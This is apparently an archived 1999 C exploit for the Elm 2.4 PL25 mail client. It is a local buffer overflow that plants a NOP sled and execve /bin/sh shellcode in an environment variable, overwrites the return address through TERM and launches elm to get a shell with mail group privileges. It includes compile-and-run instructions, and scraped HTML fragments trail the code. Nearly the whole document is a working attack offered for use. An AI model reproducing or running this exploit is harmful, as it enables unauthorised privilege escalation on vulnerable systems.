/*
* Elm 2.4 PL25 sploit
* funkySh '99
* tested under Slackware 3.6, 4.0
* Redhat 5.0,5.1
* gcc -o elmex elmex.c ; ./elmex [offset]
* bash$ id
* [..] egid=12(mail)
*/
#define SIZE_P 5500
#define SIZE_D 200
#define NOP 0x90
#define RET_ADDR 0xbffff8a0
#define PATH "/usr/bin/elm"
char code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
char buffer_p[SIZE_P];
char buffer_d[SIZE_P];
void main(int argc, char * argv[])
{ int i, x, offset = 0;
long address;
if(argc > 1) offset = atoi(argv[1]);
address = RET_ADDR + offset;
for(i = 0; i < SIZE_P/3; i++)
buffer_p[i] = NOP;
for(x = 0; x < strlen(code); i++, x++)
buffer_p[i] = code[x];
for(i = 0; i < SIZE_D/3; i++)
for (; i < SIZE_D; i += 4)
{
buffer_d[i ] = address & 0x000000ff;
buffer_d[i+1] = (address & 0x0000ff00) >> 8;
buffer_d[i+2] = (address & 0x00ff0000) >> 16;
buffer_d[i+3] = (address & 0xff000000) >> 24;
}
buffer_d[SIZE_D - 1] = 0;
setenv("DUPA", buffer_p, 1);
setenv("TERM", buffer_d, 1);
execl(PATH,PATH,0);
}
|
| |
|
| <![CDATA[<span id="7ztzv"></span>]]><![CDATA[<form id="7ztzv"></form>]]> | | |
|
<![CDATA[<span id="7ztzv"></span>]]> |
|
|
|
|
<![CDATA[<address id="7ztzv"></address>]]>
| |